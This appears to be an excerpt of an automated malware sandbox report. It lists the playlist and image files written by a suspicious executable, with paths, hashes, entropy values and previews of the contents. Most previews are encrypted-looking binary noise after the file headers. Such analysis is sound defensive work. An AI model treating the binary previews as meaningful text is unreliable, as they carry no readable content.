SSDEEP:	24:d89jdd+fEkUneK/t60pNTf4UxDDO7sLPquBgWJHfENH653V4KKv2GRbD:dij05UneK/t607f4UMoPnBgWl+6gJBD
MD5:	E7DA7BD87466C1A36E1FAD47839348DE
SHA1:	498234649D974D698D2E564B95F7F56CE050FBBE
SHA-256:	B857EB6ABBFA497A53EE8C2EF06093C9194227F0ED44BCE9295B0E24676CC391
SHA-512:	CED42B37D270EB3C628729D3968D81835A663BFAE8114814B09EEB0C95B28C3BFA388BB9ADD61BA1A1B744A0F30A46100D2671B51F9670B045BCACD4BC0249FB
Malicious:	false
Preview:	<?wpl.aU#.I..{I....AT...z.KIz..?4mq.R<.M...^'..$..Lc.>K[.I..{..C..hv..\|..w......z3p.[.....6...@.,..Xn......p.......(%..d_.Z.=........ ..L.w.fw..?..[..p<..E......n,..p...4=...^c6...6..L.....a<...H.R.K....p.L.T...E.i.Z.L..>J._..t.7nn....].v-..{^j..v.p...fhy...J.Ne1....;]q.d..c2..=Z...h.4.m.....w..s.<....^..R....J....4.o.D0...a...b.g......g.....>u.8....D....W.Gq.....OX@..............&..h$kd..K./),.(;.=..k].3i..O.......'N.n...q$..vP7..C3.}.....)L..b.K_EW2NOT.P..4 ~A.z.i.4...g...;....H.[...^.2..T^.tr.......7..t..b..e..AQX' qQ.O.B.1.....D...)\#..G.S...]a.....cm ...W4y.U..@,vZ.....2.r...Dt.....L.....uHub...{.iV.d..>.N6...).....#..7.2.~.3.>\|.o.L.Z....{$.4..t..`...e....%.../.......qM.;m..v.t..r..x...P.....z.p.N3..)l..j\....$k/Vt>$.:.......V<5.&.&._5...e.;..3....ygh..`......c%=....@...W..1l.....A=........WA..g.4.x. Z..e.h..s.2........%;,.Vk.....^..g'X..$.u..j..'..A.ctG...Z..>P$.+......5D..X....Q-..8a..?.T9g..5btdLI. \|H.v8.U......}..Q=....H........

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.881541747447245
Encrypted:	false
SSDEEP:	24:IHYF/AxngObrv0fWkzxHvppUp+v0GADGnLx6X7nnBL7y3NE7ClDFujo4ubD:IQAxJrv4vzxHvpcS0GwbnB4W7yDjD
MD5:	C472408EA6A83D4A670872475FE61D28
SHA1:	A478804F1314160103441CB495BB31D08477BB9D
SHA-256:	D4F528CC991DD246BB52F146224EF4B2A1D89582B7B2AA24D9632B961FBF68D2
SHA-512:	39E7F29794FFBB0F01C3BF2B14BE8796B6DD828E74229DCB2DD6C645170AF0C3666C102FD7ADD9A2392D8DA7310A720C8571BABCCC4FAA3E2C27F4922B480487
Malicious:	false
Preview:	<?wpl...}.IO.J.$...h>;..u#..K...xr:.u.....-C.~...Rd.Db.!\I..8.A.q$..:.....A..e._.P.7F".Lm..+.....]D%..H.u..f.>..:0.o#,V6/.........w.iC.0mk..hW.\....\..6/.e...u........A&.Xig.......(.0#.H...A.Rm...../...c.....L-..,l..\.#..B.zS....n..'.4W....8x4Q....BF..5/r.q.Py.......:.S/c..^..I..=.. ...%w.U...I..`BV...dD.....u{.i..`....(..1k......a.XV(ve...G."......E..c.iD..J..<.'.....:.M..PH.d]../V.../.6...l. .R.....&.8!.6&.Fp.\|.B?......A../.$...:....'.,..,.n.h..\|..`.+M..s.ds.n.xy.4~.".j...;.../..S..!eQ..K...ZQpfz.mK...#pI.J2P..jM.R.b..s.G..k.........&...<n........JTm.F.(......(..N.*.:..N.{.C..l$....9g.S.}..'J.9.Z....[.X...p...:Q...k..._$?).....3 .....k.. .hS../:...^...1U...;.....2\...n...7........f..F!.....f...=6}...<<.<w...."q....s.bFI,.........3..z..M.L\....+.sdzS.>.A..:w.....v3'G....'.._v..N_.....6..u..jm. .oy....h..a...<q......8.r..#.r.Q_S`...R...c...+.#dI.kC.i........^.....#T..........MD...h.A.k......v._l...b.-...p.....f.U3...'...{+_.:...5..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.881721017273336
Encrypted:	false
SSDEEP:	48:BwCZho5M0jjhqZp/J6N9qWBdy6CJbfK0A4jpX67D:B5LoVjh0eN7c6CJbE4F63
MD5:	91BC09C7AEBC562709F9F6C14B2EFD26
SHA1:	C9A89778ADCC53053FDD212AB8DB2310C61A2908
SHA-256:	018F5D832934D7A104F4ADA0032AA5024F0C7245274110F54DDFAF7EFE277CDB
SHA-512:	9412E43648902145EB75D5A15FC73679DD4E2822E7E51F2EC9B767BBC1CE440FB83485E839133E134CB5EBFCAC5EE2C47440158B82F407E38C4A47E9F6E30267
Malicious:	false
Preview:	<?wplN..M...+......+...y..ZW.B..X..,.#.;:.[.)..z5.y5r....w.g...M.=.R.L.$'....Z...%..Q.F..Q...g....7....... .....\..y.k%I._......)..+.]_.O..\..2.....G..D..0..u...G..\|.~{..(R.T.]%./<,..Y}t..O.Z.}7.c+5.I..a^O.......M.....x....\..^o@....]......$...[...?....8Z:Z.5.-)y.h.....vD.B.zhC.x>..x...<..W.9QD.:.r..J.)\k;...(E.B.>.....=K.....$......[!,}O3..zh..u....e.<]..'..U...&.S..d.....C..MZ...`+ih...l. ..W._..[.%w.Q.#.;P...i].<="^...u..z.`.fW8Z.xH.9n...M.M.......V4...`.x.gU. Z....p....5O#...&.b..F...%..\|'.U...1-..c.........v.t8on..727.#......0....vF ...q.U,!...yvS..p.....X....}.k.w:4.#..~....\|.J.#..(.dE.V...x\.z].vj.......B....>.Q..I...I,G._n...Y..._(...6...8t2......T"...0.."R..s.M.kd\|X,.e.EA@\|(.xa...;.n.!.B"..R..v..5."{6x..;..U..Z....EN...}.....F...E[..G...Rv...t...s...B.J+..k.m..V....z..q..$/*. d....;..pCS....>W.D.. ...nX...?C.E.9t...C...o..z...=d.....p.......(N.........E..c.sU.M.\|.h.>...^/.x.F79....s=97..E..r..s..0.s....~.9.,~...%

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.8655346520537295
Encrypted:	false
SSDEEP:	24:+JsEh/Lx2MXYq2ddMHO8l9MqDugdp3N9C8uhcOwAoBOfLq35iy2yVz0mDjAIrd64:/+VHIq2UlJrN95u5AT5rhzFDjd6QR5D
MD5:	A7F5365D6D3AE0C2A55DC1C774B7E96F
SHA1:	4BA89C01B66AC024319377DFCA58D2E301E65C79
SHA-256:	C1B3D591A1F8FEC6307C0F66FB8C8857C895E464D4526005DE9B97B3A7C1D22A
SHA-512:	8345DA072F9C6FB1A0B03762AC685A0F541B244423F94CF424A9ADFB7F3BC26E3076D3634169897E33028EAEC0D0B08D2A5825A3E24E77D49161D530BF9F6A7B
Malicious:	false
Preview:	<?wplq...q.4.7.`r..q......E..C...3C.t...Q.A..... .:kgQ-....7...e.#...;...P1...q8...9V...>.].Mb.C.K#../X..."@..b....b.....y...B=[....J.....:.......HL.u..-E....F>.%j..0.~Y.].....w.K.t..{........s.....o.T....w..<...R.8+...(..<.....o.{.;/.S..u....p.r....65M.:x..,@>...0.....f..91Z.P.?...>.).9D.45.B]..c.m.}9mr..g...}...j..-...."...^...#.i...,......\Fw..y...I.A..+....2k...d82.-,[.V....?]..~U...@.va..O..N.M....2...D.%(.IOZ..l,V.'..~.[ wC...a4TS.lc....Ko...a.....GG........q.......2.H.....Gz......Q..S.%h.y..;.(..U......B..6....i..XL.-#..W.q.J.Z8.r.+p.(>..,....k...!..@..wLM.3.. ..tNS....r#P.....2.;..LkvM..#]f_5...W....T.u#.)...K..9Pv)..?..n.P.y...w.m.c....)...N.N>...........e.%).1.X.G.nX:.(M.S...a..+.....J.....(u..F....e... ...oe..7.M..F...E....#...\|..{..SI@..Z~.....;>.blSjv.D#.....m!.d....!...3.X.$#a..VD... .:K...(..U>D...r..5S.`.ZO.\|V.?.H.E9..h=.i;...IplP.RwO*[.&.?..J.`..................J.g}g]..^X.(.mT......a?k...F...&.o.....O ....`U.....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.8465509141417
Encrypted:	false
SSDEEP:	24:3K0uC+oOVo8EzsBdarWTTXCoYEZ3Uan/SWEsY10+GUrxHbD:3KHIsna6TuCkCSWM0mrx7D
MD5:	D7E52C22922ADD0501C27779943ECC4D
SHA1:	044E038DAA9FCE3CAC926ABE1A09F5F657825BB6
SHA-256:	C3F55E5BF0AFE7E66DAEE3B94323EFB607F1D1AD16944E749BCE19E32A17DCFA
SHA-512:	1AB9450C49989B950E162F79657B245F822116B5D1664327AF9860640BAFE6B92ED0940D4582001BA2773DF2BFBBBEFDC1BD03A13FA7DEBE08814FE887FDA177
Malicious:	false
Preview:	<?wplu.....7JS...\.M1F..6...3>.1...).......@....1..R..B.....vr.qd..tjr.M.. /......>.nd...vK.~.;..n..t.....J."H.5...R....F...].Xby.1R..9..&.......fY/..O..$....dK......&.U....a..w......v..7....!.>..!...M}...B.p..U.cd...=..-..<#........`....z..3?.....I5.Q..8p(.9.. ...Q..2tT.O.\7........,..N.....\......-X........w..=k....?.y.o..;6.~...+...p..;...Z.a".T...U..H..o...H4.y..Sa..h..........q...%....p...4e].\|.o....t`..k.1.N..V.n.O.Gq^..1X..yZZ0[....!].R...{t.N..?.....p....!.)......'....(.......F).....y]&......`1.D.C.W..a....R&./....w.;...Dr.F....n.%.5._...,..J......?2.=...z9k....@..#._s.......Y..`...~...pT.(.....5....4M.].+.....ZJ=g....rs6-r...'..Xbbz."S..j....3i..z...f .....[....A......."..4\|l.3.,..Xy..P!.h...j.+c..a..%s.hw=..09....\h...!.._...IWG._._..[.....[.p...p.?..L.h.-....?I.Fe.C3.9{.A..U...l..K\|.&p.s.#.r.'.7...j.fOo.....s[`...K....6)..h.hy>tvW.o....I..\.Z..[..6...4..B..P1...............ZxP&..1v........2....k/.z...S.s...e........B..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.788349685355967
Encrypted:	false
SSDEEP:	24:ConnMo/15qAeo3cR/KqZmzttQx0M50zoiooaC4euQtKnNuOa/jbD:Pvtmo3cZ+Qxn5sCxCAGKNuD/3D
MD5:	483EA01FEF8427C97E68E494CCEFD189
SHA1:	82C4A6C13CA081B38D82FB9574A248BBB2C38870
SHA-256:	CAB9B5D84A0B4A3C03DF7647D17CC1356B515AFBBCD15EF0278AD43F85C788DC
SHA-512:	84954863C15D2C764B53FB14BC90C23447EABF7D5F75A609BC67E2536424BE6BF0BAF42462AA44CA14F47321B2C475D3BCD05EF2359ABA566C46CED881A9699D
Malicious:	false
Preview:	<?wpl.u...K4..$>"..O...V....+......d.}.V.7C.........\BC........~.f..$ZLT..]d..d~uW..C.0...,..KR.)f........$j..k.S...........+..r..m....&Y...8.Em....6..6..)Hw..Pb.P.![.....i....E#..h.......J`.........,.X+.X.qV......?G..B..S[?.....m.2..zu.o....R!....A]?.....c.R.!.[. +.....q....."..~..tGC.~....QJ.I..G....E.'.D2......../$n...O...Tl.2......&/.......h.....;&n...?.wE.....X.vc1x...h.D....:.Q.r.....l.O.4I3.nx8.......7...'.c7.`r....DP..9:....w...I..2E....\|.. ..m.........j.]82.@.....z..S..~-..p.B.f\|N....P....%.gU...UH.`..<.l76...-2v..c.G.w.5.zf....3Z....l.+hC...+O..!.....W...&x......`.d......,..t.B..e....?#.T.u.Y..2..5.+..-..,.=].....V...z..q.H..;c.UC.........s.hL..5....57t'.]..r.9p....JpMQ.6.Q...U\...-..3c.U....W.@....G!.4..9&........W.....t]'..C=.s..)Jy..bK..=.2.%t.b......Q*A....b.....[.;..`..;....C.2.R.8<W.k...Q.(........Zbo....V.tZ[.B >EO.N........6....F..}..]..\.....7.3"+U.sf1.d.7....l..tH.8.?.8r..?..`to...J.5....,G'.......jr..-

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.834127868035536
Encrypted:	false
SSDEEP:	24:AwM/HBG7uZjm4zvpIwDaOGOt0uum/7MJn2HBmorjIf2td+PFTkqbD:APfB+utzvNOOt00MxyBR/If7/D
MD5:	334B9E83CA7850AC6D2CC21EDD39162D
SHA1:	FE87FC9E927B5C93FBA4B235BDDC4629F251C034
SHA-256:	6E3157FE9DB80C27E122D8EBD7F6FE78A5C1C4C595C68E8186DE4B5FDBF12D76
SHA-512:	49CC992B50E6A52C3D371CD30897AA8F4ED01991965A8464928BCD2712C50E136159AEDE29B54A73A82554DEF5915DC2BA34FED88265FE13BF0F551151EE4FBC
Malicious:	false
Preview:	<?wpl3I..2.4M.p..!...6........o..$.$....7....o:...}..V.0.%D..9...#....D...s..K...`....a..i.J..u....~7l.$<..].B.B..rI`..I..&Y.?..Q....[.......vWI(..d.F..%..g........O.Di...-m.3w.......^<gW=Og...._:.Rj....y.p`...]..I....l.O....B...[.O.n..H0.bV...t4.1...k....k..)..X.3I;..7,vp...m.x...5.m\.....U+8:=..$GU\..P.SqA..&"..S.W.jI.t.qh-.....KR.MF..5....ua.)...=>.i!..5.u.4...7l.C.+....X...N.o...6..)...D!ZWU2....,.c.+.t....X..Z....K.`Z.=...[.....K.$C.7..q....b..E....W!..k.ZWViQ.hSItD7D....Y....D.c1L.....#\|.,.....t}.lF...q..A...p'.......J..7...tj.a.Dk..XN...B.^....}..2v..r.0..-%.".KiI..=./..wM%t...62..<....Hm.Z0z..M..zd\|C7.....-...[Mj.7......QT..\|orAv.%[.F...$...z$.9.L..6..p...~4`L\|;Tv..x...........G....=@...%.P.U....QMV3...B.4..$2.H.-.".4.f..="0..U..9.(2..!.f..t~.#..g.vkm,..}.7..FcLv....O;,.vj.eU..r..}.oi.0N..E.w.=.-.heh.,.Ts........Z..8....~Y.=..f...].".>....c1....{.z..P.d\|. p.1Gk...c......P..?.R>.g.}:.q.....(..D>.#............i.x...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.8578350356212745
Encrypted:	false
SSDEEP:	24:9RR8kFHJ0b4S0y9ONkxc/r0w5374yUk9XSr3+DUi6fYkdrbD2wmj6jTkyDhTSlr1:93RFHMh0y9Xcgs7/Uk9CLmUXddXDKjB1
MD5:	7E4B0D3E7DBC861628544593C92BC64F
SHA1:	92326546DBD6A67C5D07689038BF799EC41E82EA
SHA-256:	0269F45B177E7936EB7FA1D81458B187934EF8758FC041A383D7A84AC45ED22F
SHA-512:	41DD2FF609E68F03BAD1F3C62556817A2D4B765D4F302DB3F1B58BB6412CC33B47D715B833D3DC9B36B6C346D49C9CB2AD98FC9DFC5AB105DFFB1BCC025DE993
Malicious:	false
Preview:	<?wpl...ADO;...X..u....Oo4).......6t\|<..[.X.Z6..Y..C...K....W?$I.0.,h......k.c.....b..U...s.=H.J....4...vT@...Y...V....6...^...7R...b.Q.......},...........(w...U..o`=.@..#b....x..9....k..`..8.<..9.F.Xq......}R!..\|...YM-4..^.d>.Z+.d0..1.A.~%u......).J...~...t..............;..M9..=.....P..U....._+.......!n..2...x..".4..<.%{uF$...ua,~..dp..'..2.{3.a....3.R..N..k.....4..Q2.w-...&..E[..l.Jj..O.../.... ..~..._{R.S9.hNJ^..`..{/......h..=.A...4...Q.x...6...`....K-}...!z.A..P.K......f!..Z.^}.l......J...o...__.e..b.j..........1T.%N.N........T..x..8./(:f..(-...Cs5.E..@......X.n..{:.-(5...{t.e....sw.>.xoF.....m...0....\...SWgk..t..K~..4.5...[v.K.qV(..H.6.....Rx.TF...?.A\|.'.8..E.V..9....1..a...Q.{.N1.n.1..>`.[tZ..wZ..~...k...M.]]..\|rw..c,..."...%.V.T(.3O&....P-..k.,zV.\|...D&.....r.#t.}...)..7h.3..{g.H.J.J.3.s...L.J:.~A....,.q54<...7..J....s.go'm....k,.Z.'H?;..z/.s]....n..=..A..h........)....f....V...........O....D..C.....o.>v2:...3.J(...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.858992274201614
Encrypted:	false
SSDEEP:	24:O6vkTsZWpenP0gOJmN0gLgd3cFqUU7nHKEejg3n48mIChLM8wD7b4hMObD:NZZjkJm6gLiDTKE9XxHbD7bJsD
MD5:	48C3086528CE831102F45504129996E8
SHA1:	9FA7827BC77A913082B7996A9705BF58F2DBC4C0
SHA-256:	47517C32576740D79F5077BE551A7A1AC9B6CB816555AA87BBDEC007EB98BB1A
SHA-512:	9A41B798A7C8EB9D07014E42840F22559B1B27C7338DB8800D031E5214C37D2EE5123F052C54ED896FD30D893798F20848D257E83A0B80E19475961882CFB777
Malicious:	false
Preview:	<?wpl(HM...7xF.Ab.....d:7....U..1:).b3.D.+H...^.uW...E:....}e...;.S...)..=a.ZG.^WrRl...(...(......D..bF^........i..P.C+^<....Rm.4..S.W]...gr..%..v4!kH4..i.s...D...a.Y3&\B.L.(.E<.5O.,ME..}]... QpkHm...p..h.S...{....?..1..........756VH S.2]...x.i...9G..^..~.(..S.Y.3.}...L\|?....n..K../k..h......l.hD....}g...2.$..p^...2.....2`...9..5kT.A.3.@....A..S.y..!...c.`.^.Z.@d.@b....&. .....R...:_%.^.w...3#y\.....%.n.J..l........>..;A..ep......V..B..........wM...._....)3j.[:w...vz.....D:y......S.b......3...-...O....v........[..8....t.N..u>z.K..;.Lg.P.kQx..%J....E..no.5....=....OP,..p...B..s..7..@.].Xt.X..W....X.....x.JU....B.<.k.w.<..'I....!..<s...........:R..8..........N.)......6..kB...j....K..h...v..U.....~.Z.b.%.8B......n....O...Lr.D...y.[.D..M......=_$..{fq.7...D....T ..v......~...s..e.).....[ha.W..v.6....]...`~.+.=F...%..D..^nmL."3.pn>..R....g...g~i..\|..2h....`...'...Pm..3.r...6f?.....R..R.4V..B..k.....b.}....W;..H..en[."....C...F.P3.O.)...f.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.852231526103376
Encrypted:	false
SSDEEP:	24:wIkEh5+8er8ZxlLG7KpqWp4eN2aftjFIBAquRH1y/Ezw75ejworf36RYEvsbD:wCY8ZHG7iqaLNZJFIGH1fQerf36RYE+D
MD5:	AB24B510148969FB215A1B9B5FA9B9ED
SHA1:	9C91912CA5D370AA15F83FD3022C25CF5CCCA42B
SHA-256:	5828B20BA9106A5B8036E86166BEFDC134B21585815608AC18BCA1C946E52AB1
SHA-512:	05663E5A02CB751E95451E1894BD54A0E87A47C66DD35C141E5D91EDA2AD8FDE71030491A98BC799C79012D857A2E0435F731DCEE22B39537B8833544A3CD1F5
Malicious:	false
Preview:	<?wpl.\C.).n.8@B.l..-...y..3{\|...CF....Yi..@Wm..I.D.)?...c]W.......L..\|mI2....t...c...n..k.3..T..?......N........'3@..<.._......F.K.Q.vv.<e..d.6..V.S@q.w.6.....V.I...E.Nc..xJ.mJ........y.3......#.! ,.ni$a..$...;H.YRZ.%Y.\|jj..o"g......1....3:..2..I..;...j./~..tg.y......Ft,3....#......_0&.....@.M..39^.h..2.=...A..K..y'1@......... ..lK.g..c...@G...vbS..e......uc..(0..C,.O..KI.........$....-D..-.Q....N..Q....,...mu.Q.....P...........vun....#../..Y);/./.VI.TIQ..b....G3HC...._y.'...M..v.l!:..Iqif........kc.~.)o.gK.]....;~.Xc.,.....v].}..".....d+...-.'..BX%9.JD.......wK.S.....>.....z...M.......dS.W.wX.]..:.l..4....`....P+..T......@..i...QiQ.2U^.........G0.Y.3ms....B...S. ........%.LJ....f....Ag..(y.'R.......KN...Ip.#.....AH..L......0..C..n......h.n6_A..>..-........\|@..&\|..t..mt...$G........Zs...vC $.!ZO.....f.....O\.../.~.r6j..@h....H.Z!.ws\..RZ(..A.2..`y..{..uo<../m&.^A....,zv.8@.J..Q~j..1z6`._......L..`3..:.......T..\|...8....r6.7...&.T._

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.742346144827505
Encrypted:	false
SSDEEP:	24:ui9ZWSnCiWG1oyy/l9Szk7Sj0QD9ikuA7etf+SGEKVftAVvoFypbD:5311Ab7uMksdKdtAdD
MD5:	E6E51B933BE688E2BBD43138571152EB
SHA1:	A615A5965B64196DC4CD53214105892E4F862604
SHA-256:	83964D86FAF998A5EA4ED534363689D2BF4F295F5309DBAB2511CE4DEE3F7F8C
SHA-512:	EC4CD7F10B46EB7ACF7F7022C9579C0503ED443A25A58D73D83905BC968A009D276DB298C74F6C967F24239B37608826E3686C1495A173DBDCCED20279BDC331
Malicious:	false
Preview:	<?wpl........w.u"..Vu.RI..,.Hns....../Q..M."...d=B...Lw'.`...au..n!U.....2.s.ZT4..7.w...>.....CS]...17%g.a[dN....U.c.+Y<...J..2."G7.:.!.V..?d.....!.....O..9w...D...=".y@.{.y.^~...A.....R..........Xdp.......@...-.......$.9..h.....C..W. ixs.Q&.....m...,!...d.PE.d.%J..$.T../.Ym.m......S.....ch.#^..+0.GX....9.&.b..k.....N^..W..cl.LPiaY`....w.z...\..Cd..G E QDT"2;..L.....i6+1.;.7.{x.K.hy..........{..a8VU...l4.G8......[..K.VH...\:7.w.....X..:..6.M.A....mnY.....Uy....)...r.F8.:.p..V#ucR.b...,.. .d..Rb=o....E...w.....#W+W.....2.}.s...pPr...K.\.U.W.).6..V.K.. 6.T...6...._..t..@P....A.`.T...Yz......vs...tr.MV....._..6&m..V=Ip......M..9WhR..i$..{..{.=..N"M .....^94...d..m...:Fq..A..<.).uj....8a.7.`_;bh....e..l..x2D....K.A.%.vQ..:..O..F.1Z.T.Zp.).X.....9..Z...x.IR.`..D.(..)=k=....../.6..Q).dSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.845345800797463
Encrypted:	false
SSDEEP:	24:iQv4wzV7Sp9Q1w1qOL1AGP3HHGaAvUy7oR7GYhrK5dwB01sQuvD4bD:iQHJGKwku1AGP3mdvUycxhr0dp1gGD
MD5:	C1C45FC59D22B4DC087D1BB6180BF0A5
SHA1:	41564114D2542F7B2D8C633B5FB498E3B75740DF
SHA-256:	F38DE30887F42D6C7005EA5588FCFEF988EE9BA16EE698E3B94A6596A886A271
SHA-512:	C1749830FD27B52B9145734121526C7A314B3F5B44CE5773C78A2C7EB6F45CC16EAEA1B9909396F2A339801BB6E9A1C47DACC43FDE77CA30EA7F5A44D5D48D5D
Malicious:	false
Preview:	<?wplQj....R...]./>..pZ.q$c..0.T.l../...r...$.....t-W.@.3.G....;a.[n'.f....l.p>..:-...\.0.t...R..SV5.\@.....K.LO../`..f'.........2.../.n9P.U....X.80.....;T.p..M\..e.../x.\|....K....1.{./..K...>..^...Wg:`P..e!.`!.1\|:............{%.....".."...c.y........w.c....@#.k7.....j..x._=.f.k...N&.....^u..D.:s.q....d=O..1.P..i......9.w9..A..G.dZ...B..B.f..NL.a.WO........y.J...E.Xq.:Y....Z....}.......U_.56.F.oU...........N.I./s....zn.<...in)M..........L...$,..15.......$3....Nhq.......W..0'....;..>z7.J..cz;f.&...f.z..=s'?N...c..hf.~..{..m.O,.'.......9B.!`U...l.m...!U...?{`..>.1!5.m..R:<..r..[B.@b......B.~...F.q..4.i3.P..h......O4...&=?.[A..<...O..O.X!B.p@....m.v'.A..V...^....A>^...O.P~0QMK...B..@]...o3...u!V.%...%f~wJ..}%....CpTn....9....i.x.......&..x....Z..jj..`WKu...4....K]......`6.....N.DM.....x..../u,..pj....C0t.........9CB.......2mB#1.+.NMt..........z.j....0^....G..n..X...hs/E.)rta..'.g.l&fK...m.....6W$..I.K...../.......I*.....6.a...c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.972663050204431
Encrypted:	false
SSDEEP:	192:mOnmFjUTk1iL2hmohcAoEWi8vqGAncT0GABT:vnm5URL2hWhrCnncAGK
MD5:	9457EFC9B0986D84C3AE9B166761DF24
SHA1:	D18728EDFEE4C44450E934B000CBD00183EA9F76
SHA-256:	3A051162D609DAF58F701309050401A3202D2AB6AFB205AE3EA097AD07B63741
SHA-512:	FF03EC5ABCB11F23F7271DFFEF01EDB30EA2B03AD5DE2BD8CCAA8682C3F3F4F6BC956648E12D9C74B8EA297E8DB8198155D5F0EC35216A977425EE21523015B0
Malicious:	false
Preview:	.PNG...\.g.]T.....n...W]vwB.......Z3...!..Lj..=y.)8....:.8.e._.....N.... l.....7oC..g.....D[n..H=....B....K...8.(%....?,.N.Z?.M.c.N........a....I......q..Q..\|]o.}......L...j.L...>..Ih....M...?...X....W"`..k.?......2..s0.s./y\l.W.3.d.Jvt._.S......A=..:.>.9M.i...Hv.A...3..y<e.,...5... c>...S;P...y.tX..5X....>......$S..T.....C...S.`..{_9{.^.a.R:....R.X>.n~.E7y.h.BG..`6?...G..../..F'.^.3rS..+[6N...o.%..N.j...s2.F.Xt..wYS..O..F.4.y.....d..l.iB.q.Vb.....t..].D...p...Mp.&....j..e-..p....~.G...r...B.@]N.\.....W.~`....s.{l.,.^.....%.......p..OL\|OD.....p.85T...r...K .k~...9v..I"M..O...lh....Ab..l.sf..>-.3..>...?...!..a.xD)y..P...+.O`@.(.).eE....o.<..B'Ft.v..."m...Ep.."..t.N......x..^8.\Qd;..S.YH..........cnD{p..L..:M>/.`.T........../...._.fM;8t.......gM,6..+.Z..\|!....!w\.g8.L.m.I.c!B.A...4..!r......'h..TCc.....]....M.-7.5'.. ...:...!U.Ca./.}............o.T..T.bG.....{.......9lQ.[..K=.....&...p.k....6...........{...=.d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.9756088015746975
Encrypted:	false
SSDEEP:	192:hckqSR+c6DYpsX5EWbx6fuLL87e+24IqyZv8zE4MT:hcs+c6DfXL8fuM7eCs2zERT
MD5:	49130FE5B100AD162DF97CB97F1A27C5
SHA1:	85F09E15D6BCE3E8384348A2B55839F61FCAA903
SHA-256:	67EB67A6FE4C0B2CF2E3C32DECDE71ADBA872E8DFA9E77A458D7DCBFFB61B2D5
SHA-512:	E9BE282A19E28789ADA7EEE9EDB5F608C272A9FE847793BB61234A6D62A9A4AD64D4EA35F4FBF19AB37D2B9986C06574D70A717FF802E83E17438AF46CF4393B
Malicious:	false
Preview:	.PNG...~ ...^c.I..%..9.1)/t..0..{h..p6.#.Y.J....O...].S....\|.....F...........c....N.LM...H..J.nR..........9g....M$3..4=..U...<].'..H.3....j.y......MJes..J).....%=....~.....'....".$..q.n=...J.............W......nb..:a........z.j..:5%^/z............U..gN..?..2:Es.7..qu...........[.f\.......6.%CCF..ox....~......A...L...S:..(.g..V.@\|[.3...u..a........+.0(..Fq8...6x.'.G7'..........s....a6....f..{VX.Y.....F"..vC3..;.7.$d.3-?}.7S..:....W.0.dg'..G....^.e.d.....J...t.S.....R.B6P..X.e..X.j....kmC...lF....g.d+....L...I/.7=t...b.u.a>.=_...).a3.$up.....q....-LI?....G7G..`.F....f..1@.W..]..b.....$.2..........j6]..Ipr......\|v.7..T..[X.[m&34KL.<\...i.U9NXE...9....8.98....~....t.B.PhKts...5............r..a&7..;....k[...g.......S.<....0.0......!OMyU....3.v.CAbt....HQ.k.......b.....O(..$.'...Q......i..h.`...6.....nE..T.PyX..i.......t.....R.....X.}X.k.........."....Fxh..,GSC..5G.`.q.a).D,u.M`.....CO.3..O..{..h.q.-{-..e.!..`^..Hek[..x....W......e..e.`..k

